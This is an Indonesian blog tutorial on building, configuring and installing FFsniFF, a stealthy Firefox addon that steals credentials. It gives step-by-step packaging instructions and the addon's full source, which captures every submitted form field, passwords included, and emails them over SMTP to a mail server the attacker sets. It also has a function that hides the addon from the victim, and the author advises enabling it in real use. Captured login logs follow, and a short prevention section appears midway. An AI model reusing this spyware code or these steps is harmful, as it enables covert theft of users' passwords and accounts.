    hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordakujuga
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 OK id=1LeiW6-0002zu-LA
    QUIT
             
        
              
          
    Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
    Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.
    Sekilas tentang addon Firefox
    Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.
    Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    exampleExt.xpi:
                  /install.rdf                   
                  /components/*  
                  /components/cmdline.js                   
                  /defaults/
                  /defaults/preferences/*.js     
                  /plugins/*                        
                  /chrome.manifest                
                  /chrome/icons/default/*       
                  /chrome/
                  /chrome/content/
    install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.
    Membuat paket instalasi ffsniff.xpi
    Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    pkg_creator.py
    src/
    src/install.rdf
    src/chrome/
    src/chrome/content/
    src/chrome/content/ffsniff/
    src/chrome/content/ffsniff/ffsniffOverlay.xul
    src/chrome/content/ffsniff/ffsniffOverlay_orig.js
    src/chrome/content/ffsniff/contents.rdf
    File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.
    Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:
    1
    2
    3
    4
    5
    6
    7
    var send_from_host = "<SEND_FROM_HOST>";
    var send_from = "<SEND_FROM>";
    var send_to = "<SEND_TO>";
    var subject = "<SUBJECT>";
    var smtp_host = "<SMTP_HOST>";
    var smtp_port = "<SMTP_PORT>";
    var enable_hide = "<HIDDING>";
    Konfigurasi smtp untuk @ilmuhacking.com
    MX record ilmuhacking.com
    MX record ilmuhacking.com
    Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.
    send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).
    enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.
    smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.
    1
    2
    3
    4
    5
    6
    7
    var send_from_host = "ilmuhacking.com";
    var send_from = "testing@ilmuhacking.com";
    var send_to = "testing@ilmuhacking.com";
    var subject = "Log Firefox Sniffer";
    var smtp_host = "ilmuhacking.com";
    var smtp_port = "25";
    var enable_hide = "no";
    Konfigurasi smtp untuk @telkom.net
    Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:
    1
    2
    3
    4
    5
    6
    7
    var send_from_host = "telkom.net";
    var send_from = "rizki.wicaksono@telkom.net";
    var send_to = "rizki.wicaksono@telkom.net";
    var subject = "Log Firefox Sniffer";
    var smtp_host = "mx1.mail.plasa.com";
    var smtp_port = "25";
    var enable_hide = "no";
    Membuat file ffsniff.jar
    Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:
    content/ffsniff/contents.rdf
    content/ffsniff/ffsniffOverlay.js
    content/ffsniff/ffsniffOverlay.xul
    Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.
    ffsniff.jar list files
    ffsniff.jar list files
    Membuat file ffsniff.xpi
    Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:
    install.rdf
    chrome/ffsniff.jar
    Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.
    ffsniff.xpi file list
    ffsniff.xpi file list
    Instalasi Firefox Sniffer
    Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.
    instalasi firefox sniffer
    instalasi firefox sniffer
    Mencoba login ke yahoo
    Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.
    log sniffer email
    log sniffer email
    Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.
    Email Sniffer Log
    Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    Return-path: <testing@ilmuhacking.com>
    Envelope-to: testing@ilmuhacking.com
    Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
    Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
         by gator669.hostgator.com with esmtp (Exim 4.69)
         (envelope-from <testing@ilmuhacking.com>)
         id 1Lcywa-0002DK-Jj
         for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
    Subject: Log Firefox Sniffer
    Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:
    Return-Path: <rizki.wicaksono@telkom.net>
    Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
      by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
      with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
    Received: from mx1.mail.plasa.com ([222.124.18.71])
     by mx1.mail.telkom.net  with esmtp id 1LeiKy-0001qP-O1
     for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
    X-IronPort-Anti-Spam-Filtered: true
    X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
    X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
    Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
      by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
    Subject: Log Firefox Sniffer
    X-HAM-Check: YES
    Date: Wed, 04 Mar 2009 11:05:27 +0700
    Message-ID: <auto-000690188427@f1.c.plasa.com>
    Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.
    FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.
    Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.
    Pencegahan
    Bad guys already know about FFsniff since 3 years ago
    FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini? Berikut ini tips agar tidak menjadi korban FFsniff:
  • Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
  • Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
firefox safe mode
firefox safe mode
  • Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
  • Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
  • 1
    C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\
    firefox extension folder
    firefox extension folder
    Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.
    How FFsniff Works
    Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
    var transport = "";
    var outstream = "";
    var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    var stream = "";
    // find out FF version
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);
     
    var data = "";
    var data0 = "EHLO " + send_from_host + "\r\n"
    var data1 = "MAIL FROM: <" + send_from + ">\r\n"
    var data2 = "RCPT TO: <" + send_to + ">\r\n"
    var data3 = "DATA\r\n"
    var data4 = "\r\n.\r\n"
    var data5 = "QUIT\r\n"
    function send_data() {
     transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
     outstream = transport.openOutputStream(0, 0, 0);
     stream = transport.openInputStream(0, 0, 0);
     instream.init(stream);
     
     // this will avoid 'Improper use of SMTP command pipelining'
     // error on SMTP servers
     outstream.write(data0, data0.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data1, data1.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data2, data2.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data3, data3.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data, data.length);
     // don't read here cos no data was send to us
     //while (instream.available() == 0) {}
     //instream.read(instream.available());
     
     outstream.write(data4, data4.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data5, data5.length);
     while (instream.available() == 0) {}
     
     outstream.close();
     instream.close();
    }
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
     var workingThread = function() {
     };
     
     workingThread.prototype = {
      run: function() {
       send_data();
      }
     };
    } else {
     var runnable = {
      run: function() {
       send_data();
      }
     }
    }
    function sniff() {
     // if we are running under 3.0 or later
     if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
      var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
      thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
     } else {
      var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
      thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
     }
    }
     
    function do_sniff() {
     var ok = 0;
     var hesla = window.content.document.getElementsByTagName("input");
     data = "";
     for (var i = 0; i < hesla.length; i++) {
      if (hesla[i].value != "") {
       if (hesla[i].type == "password") {
        ok = 1;
       }
       if (hesla[i].name == "") {
        data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n";
       }
       else {
        data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
       }
      }
     }
     if (ok == 1) {
      data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
      sniff()
     }
    }
    function hide_me() {
     var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
     var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
     var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
     var root = RDFService.GetResource("urn:mozilla:item:root");
     var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
     Container.Init(extensionDS, root);
     var elements = Container.GetElements();
     while (elements.hasMoreElements()) {
      var element = elements.getNext();
      var name = "";
      var target = extensionDS.GetTarget(element, nameArc, true);
      if (target) {
       name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
       if (name == "FFsniFF") {
        Container.RemoveElement(element, true);
       }
      }
     }
    }
    if (enable_hide == "yes") {
     hide_me();
    }
    window.addEventListener("submit", do_sniff, false);
    Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.
    how ffsniff works
    how ffsniff works
    Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.
    Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.
    Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    220-mx1.mail.plasa.com ESMTP
    220 UBE, porn, and abusive content not allowed
    EHLO telkom.net
    250-mx1.mail.plasa.com
    250-8BITMIME
    250 SIZE 20971520
    MAIL FROM: <rizki.wicaksono@telkom.net>
    250 sender <rizki.wicaksono@telkom.net> ok
    RCPT TO: <rizki.wicaksono@telkom.net>
    250 recipient <rizki.wicaksono@telkom.net> ok
    DATA
    354 go ahead
    Subject: Log Firefox Sniffer
     
    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:2
    hidden:.intl:us
    hidden:.u:6220o3t4qrv31
    hidden:.v:0
    hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordku
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 ok:  Message 119895912 accepted
    221 mx1.mail.plasa.com
    QUIT
    Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:
    220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600 
    220-We do not authorize the use of this system to transport unsolicited, 
    220 and/or bulk e-mail.
    EHLO ilmuhacking.com
    250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
    250-SIZE 52428800
    250-PIPELINING
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
    MAIL FROM: <testing@ilmuhacking.com>
    250 OK
    RCPT TO: <testing@ilmuhacking.com>
    250 Accepted
    DATA
    354 Enter message, ending with "." on a line by itself
    Subject: Log Firefox Sniffer
     
    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:1
    hidden:.intl:us
    hidden:.u:eljvtc94qs023
    hidden:.v:0
    hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordakujuga
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 OK id=1LeiW6-0002zu-LA
    QUIT
    221 gator669.hostgator.com closing connection
    Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.